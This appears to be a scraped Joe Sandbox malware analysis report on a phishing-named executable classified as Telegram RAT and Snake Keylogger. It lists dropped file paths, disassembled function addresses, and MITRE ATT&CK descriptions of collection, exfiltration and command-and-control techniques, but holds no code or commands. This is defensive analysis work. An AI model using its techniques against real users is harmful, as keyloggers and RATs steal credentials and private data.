Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Request for Quote and Collaboration Docs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nso7D7B.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\Emalje.kap

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\Kanaliseringerne.Afb

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\img2.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\pinrail.whe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\unyouthfully.ske

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Udseenders.Kom36

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
Request for Quote and Collaboration Docs.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre